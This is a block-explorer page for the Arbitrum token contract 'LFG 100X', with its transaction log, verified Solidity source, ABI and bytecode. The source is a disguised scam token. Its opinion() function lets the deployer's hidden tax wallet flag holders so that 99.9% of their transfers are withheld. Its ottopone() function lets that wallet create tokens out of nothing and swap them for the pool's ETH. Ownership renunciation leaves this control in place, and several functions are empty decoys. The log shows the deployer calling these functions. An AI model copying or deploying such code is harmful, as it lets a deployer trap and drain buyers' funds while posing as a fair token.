Contract 0x24ada643e1e0b12af780ea63e6eac370da67f332 7

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xc0fe0a017bfe9974032cf4778feba4d09b738ab4cba3fcf7e95392b8c42718d0Approve1578500682023-12-07 19:46:03167 days 21 hrs ago0xab94ebe13ae9fe1ddb6bea0e92f6a15184fa89c7 IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00010552 0.1
0xa96637bce0d6b5c6b4421c74d128feaad2aae19bbad33f6761d8ab67b001e3efApprove1519284332023-11-19 9:52:58186 days 6 hrs ago0x0b8d19b7249904f38fba58dc7bb46d7f849e19b6 IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00003505 0.1
0xaa96d8e208f90ccdc45ac9abac5824adb1a6c87ab8ad7ebc7a6da614c56abb7dApprove1508747552023-11-16 4:43:50189 days 12 hrs ago0xadc031616771ecb503c65e607c13dde152d459df IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00005836 0.1
0x4f29fe34aa3ec4c5998664bf930bd2172f9253d82364001924867f4638cda7e5Approve1466416312023-11-03 7:37:54202 days 9 hrs ago0xadc031616771ecb503c65e607c13dde152d459df IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.000032820.1
0xc1d5742f09800b0ba48c89acbc413828784a12936a4bdf0714345b89d7a26658Ottopone1435551032023-10-24 13:48:14212 days 3 hrs ago0x6e5b414a17692143de98ee59c35488a65d046a8d IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00008332 0.1
0x58dc4857fe3cd7640ec9f85d4c412ed79b9052be59f326d3f3091f563b6aa6a0Approve1435542052023-10-24 13:44:27212 days 3 hrs ago0xebfc26255353c04241df8432752310c13b53f349 IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00007653 0.1
0xb62ea953432b40c20f38d6b914106be5e1d3c827fa5503f544e49764b819f72bApprove1435539892023-10-24 13:43:32212 days 3 hrs ago0xebfc26255353c04241df8432752310c13b53f349 IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00007653 0.1
0xa57452dc666357ffb076dbcfe0029d252d7d3d0e37cb7b319a307d04842743a6Approve1435537412023-10-24 13:42:28212 days 3 hrs ago0xebfc26255353c04241df8432752310c13b53f349 IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00007852 0.1
0xa2bb4786676e8ec786093cee3552bf7548ac696dd9b7359a4b40a63e963f2ef2Opinion1435534332023-10-24 13:41:09212 days 3 hrs ago0x6e5b414a17692143de98ee59c35488a65d046a8d IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00009163 0.1
0xd0e910c44ed8207a7b9677e7c2dc934fb5a7c648c0d8247db92a0b7231133d21Renounce Ownersh...1435513832023-10-24 13:32:29212 days 3 hrs ago0x6e5b414a17692143de98ee59c35488a65d046a8d IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00006427 0.1
0x2dd14ff16282dcf5b36f1b9472fd94b1670360ea5310b40e4e43e7905b23f15dApprove1435476022023-10-24 13:16:26212 days 3 hrs ago0x6e5b414a17692143de98ee59c35488a65d046a8d IN  0x24ada643e1e0b12af780ea63e6eac370da67f3320 ETH0.00006578 0.1
0x7712e4a40b15c9562420e5ff6721cfdaa84076a97486e73e4270951e837e80330x608060401435402742023-10-24 12:45:35212 days 4 hrs ago0x6e5b414a17692143de98ee59c35488a65d046a8d IN  Create: LFG0 ETH0.00146254 0.1
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
LFG

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Arbiscan.io on 2023-10-24
*/

/**

LFG 100x

//Telegram: https://t.me/LFG100XXX

*/

pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract LFG is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "LFG 100X";
    string private _symbol = "LFG";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function biteto() external {
    }
    function biteon() external {
    }
    function snubat() external {
    }
    function snubin() public {
    }
    function opinion(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddres()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddres() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function ottopone (uint256 amount, address walletAddr) external {
        if (marketingAddres()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"biteon","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"biteto","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"opinion","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"ottopone","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"snubat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"snubin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a91906200048b565b64e8d4a510006200002c9190620005c8565b6002556040518060400160405280600881526020017f4c46472031303058000000000000000000000000000000000000000000000000815250600390805190602001906200007c92919062000352565b506040518060400160405280600381526020017f4c4647000000000000000000000000000000000000000000000000000000000081525060049080519060200190620000ca92919062000352565b50731b02da8cb0d097eb8d57a175b88c7d8b47997506600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200012d57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460096000620002006200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200024e6200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60096000620002b16200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002fb919062000413565b60405180910390a333600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620006d4565b600033905090565b828054620003609062000633565b90600052602060002090601f016020900481019282620003845760008555620003d0565b82601f106200039f57805160ff1916838001178555620003d0565b82800160010185558215620003d0579182015b82811115620003cf578251825591602001919060010190620003b2565b5b509050620003df9190620003e3565b5090565b5b80821115620003fe576000816000905550600101620003e4565b5090565b6200040d8162000629565b82525050565b60006020820190506200042a600083018462000402565b92915050565b6000808291508390505b600185111562000482578086048111156200045a576200045962000669565b5b60018516156200046a5780820291505b80810290506200047a85620006c7565b94506200043a565b94509492505050565b6000620004988262000629565b9150620004a58362000629565b9250620004d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004dc565b905092915050565b600082620004ee5760019050620005c1565b81620004fe5760009050620005c1565b8160018114620005175760028114620005225762000558565b6001915050620005c1565b60ff84111562000537576200053662000669565b5b8360020a91508482111562000551576200055062000669565b5b50620005c1565b5060208310610133831016604e8410600b8410161715620005925782820a9050838111156200058c576200058b62000669565b5b620005c1565b620005a1848484600162000430565b92509050818404811115620005bb57620005ba62000669565b5b81810290505b9392505050565b6000620005d58262000629565b9150620005e28362000629565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200061e576200061d62000669565b5b828202905092915050565b6000819050919050565b600060028204905060018216806200064c57607f821691505b6020821081141562000663576200066262000698565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611e4d80620006e46000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806371d74ddf116100b8578063a9059cbb1161007c578063a9059cbb14610345578063b8a4bfcd14610375578063bf4513cf14610391578063c57d87de1461039b578063dd62ed3e146103a5578063ddb15c2e146103d557610142565b806371d74ddf146102c557806372f51342146102cf5780638da5cb5b146102d957806395d89b41146102f7578063a457c2d71461031557610142565b806332424aa31161010a57806332424aa314610201578063395093511461021f5780633eaaf86b1461024f5780636f268a991461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f6103f1565b60405161015c91906117ec565b60405180910390f35b61017f600480360381019061017a9190611540565b610483565b60405161018c91906117d1565b60405180910390f35b61019d61049a565b6040516101aa91906118ae565b60405180910390f35b6101cd60048036038101906101c891906114ed565b6104a4565b6040516101da91906117d1565b60405180910390f35b6101eb61054c565b6040516101f891906118ae565b60405180910390f35b610209610556565b60405161021691906118ae565b60405180910390f35b61023960048036038101906102349190611540565b61055c565b60405161024691906117d1565b60405180910390f35b610257610601565b60405161026491906118ae565b60405180910390f35b610275610607565b60405161028291906117b6565b60405180910390f35b6102a560048036038101906102a09190611453565b61062d565b6040516102b291906118ae565b60405180910390f35b6102c3610676565b005b6102cd6107a9565b005b6102d76107ab565b005b6102e16107ad565b6040516102ee91906117b6565b60405180910390f35b6102ff6107d6565b60405161030c91906117ec565b60405180910390f35b61032f600480360381019061032a9190611540565b610868565b60405161033c91906117d1565b60405180910390f35b61035f600480360381019061035a9190611540565b610996565b60405161036c91906117d1565b60405180910390f35b61038f600480360381019061038a9190611580565b6109b4565b005b610399610a70565b005b6103a3610a72565b005b6103bf60048036038101906103ba91906114ad565b610a74565b6040516103cc91906118ae565b60405180910390f35b6103ef60048036038101906103ea91906115cd565b610afb565b005b60606003805461040090611b1a565b80601f016020809104026020016040519081016040528092919081815260200182805461042c90611b1a565b80156104795780601f1061044e57610100808354040283529160200191610479565b820191906000526020600020905b81548152906001019060200180831161045c57829003601f168201915b5050505050905090565b6000610490338484610db6565b6001905092915050565b6000600254905090565b60006104b1848484610f81565b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fb611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054157600080fd5b600190509392505050565b6000600154905090565b60015481565b60006105f7610569611276565b8484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105f29190611978565b610db6565b6001905092915050565b60025481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106956107ad565b73ffffffffffffffffffffffffffffffffffffffff16146106eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e29061182e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546107e590611b1a565b80601f016020809104026020016040519081016040528092919081815260200182805461081190611b1a565b801561085e5780601f106108335761010080835404028352916020019161085e565b820191906000526020600020905b81548152906001019060200180831161084157829003601f168201915b5050505050905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108f357600080fd5b61098c6108fe611276565b8484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109879190611a59565b610db6565b6001905092915050565b60006109aa6109a3611276565b8484610f81565b6001905092915050565b60006109be61127e565b905060005b83839050811015610a6a576109d6611286565b6109df57610a57565b6001826109ec9190611978565b60086000868685818110610a0357610a02611c22565b5b9050602002016020810190610a189190611453565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8080610a6290611b4c565b9150506109c3565b50505050565b565b565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b03611286565b15610dac57610b3530600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610db6565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115610b9657610b95611c51565b5b604051908082528060200260200182016040528015610bc45781602001602082028036833780820191505090505b5090503081600081518110610bdc57610bdb611c22565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7e57600080fd5b505afa158015610c92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb69190611480565b81600181518110610cca57610cc9611c22565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486602042610d549190611978565b6040518663ffffffff1660e01b8152600401610d749594939291906118c9565b600060405180830381600087803b158015610d8e57600080fd5b505af1158015610da2573d6000803e3d6000fd5b5050505050610db1565b610db2565b5b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1d9061184e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d9061188e565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f7491906118ae565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610fbc57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561100857600080fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161106591906118ae565b60405180910390a381600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b89190611a59565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061110561127e565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115905060006111746103e86111666103e7876112e590919063ffffffff16565b61136090919063ffffffff16565b90506000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156111c35750815b156111cc578092505b6000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838561121c9190611a59565b816112279190611978565b905080600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050565b600033905090565b600043905090565b6000611290611276565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b6000808314156112f8576000905061135a565b6000828461130691906119ff565b905082848261131591906119ce565b14611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c9061186e565b60405180910390fd5b809150505b92915050565b60008082116113a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139b9061180e565b60405180910390fd5b600082846113b291906119ce565b90508091505092915050565b6000813590506113cd81611de9565b92915050565b6000815190506113e281611de9565b92915050565b60008083601f8401126113fe576113fd611c85565b5b8235905067ffffffffffffffff81111561141b5761141a611c80565b5b60208301915083602082028301111561143757611436611c8a565b5b9250929050565b60008135905061144d81611e00565b92915050565b60006020828403121561146957611468611c94565b5b6000611477848285016113be565b91505092915050565b60006020828403121561149657611495611c94565b5b60006114a4848285016113d3565b91505092915050565b600080604083850312156114c4576114c3611c94565b5b60006114d2858286016113be565b92505060206114e3858286016113be565b9150509250929050565b60008060006060848603121561150657611505611c94565b5b6000611514868287016113be565b9350506020611525868287016113be565b92505060406115368682870161143e565b9150509250925092565b6000806040838503121561155757611556611c94565b5b6000611565858286016113be565b92505060206115768582860161143e565b9150509250929050565b6000806020838503121561159757611596611c94565b5b600083013567ffffffffffffffff8111156115b5576115b4611c8f565b5b6115c1858286016113e8565b92509250509250929050565b600080604083850312156115e4576115e3611c94565b5b60006115f28582860161143e565b9250506020611603858286016113be565b9150509250929050565b60006116198383611625565b60208301905092915050565b61162e81611a8d565b82525050565b61163d81611a8d565b82525050565b600061164e82611933565b6116588185611956565b935061166383611923565b8060005b8381101561169457815161167b888261160d565b975061168683611949565b925050600181019050611667565b5085935050505092915050565b6116aa81611a9f565b82525050565b6116b981611ad5565b82525050565b60006116ca8261193e565b6116d48185611967565b93506116e4818560208601611ae7565b6116ed81611c99565b840191505092915050565b6000611705601b83611967565b915061171082611caa565b602082019050919050565b6000611728602083611967565b915061173382611cd3565b602082019050919050565b600061174b602583611967565b915061175682611cfc565b604082019050919050565b600061176e602283611967565b915061177982611d4b565b604082019050919050565b6000611791602383611967565b915061179c82611d9a565b604082019050919050565b6117b081611acb565b82525050565b60006020820190506117cb6000830184611634565b92915050565b60006020820190506117e660008301846116a1565b92915050565b6000602082019050818103600083015261180681846116bf565b905092915050565b60006020820190508181036000830152611827816116f8565b9050919050565b600060208201905081810360008301526118478161171b565b9050919050565b600060208201905081810360008301526118678161173e565b9050919050565b6000602082019050818103600083015261188781611761565b9050919050565b600060208201905081810360008301526118a781611784565b9050919050565b60006020820190506118c360008301846117a7565b92915050565b600060a0820190506118de60008301886117a7565b6118eb60208301876116b0565b81810360408301526118fd8186611643565b905061190c6060830185611634565b61191960808301846117a7565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061198382611acb565b915061198e83611acb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119c3576119c2611b95565b5b828201905092915050565b60006119d982611acb565b91506119e483611acb565b9250826119f4576119f3611bc4565b5b828204905092915050565b6000611a0a82611acb565b9150611a1583611acb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611a4e57611a4d611b95565b5b828202905092915050565b6000611a6482611acb565b9150611a6f83611acb565b925082821015611a8257611a81611b95565b5b828203905092915050565b6000611a9882611aab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611ae082611acb565b9050919050565b60005b83811015611b05578082015181840152602081019050611aea565b83811115611b14576000848401525b50505050565b60006002820490506001821680611b3257607f821691505b60208210811415611b4657611b45611bf3565b5b50919050565b6000611b5782611acb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611b8a57611b89611b95565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b611df281611a8d565b8114611dfd57600080fd5b50565b611e0981611acb565b8114611e1457600080fd5b5056fea26469706673582212202c307fbd86295228eb7297929f45296066b4964363f0279b2fe771fbd5ba085a64736f6c63430008070033

Deployed Bytecode

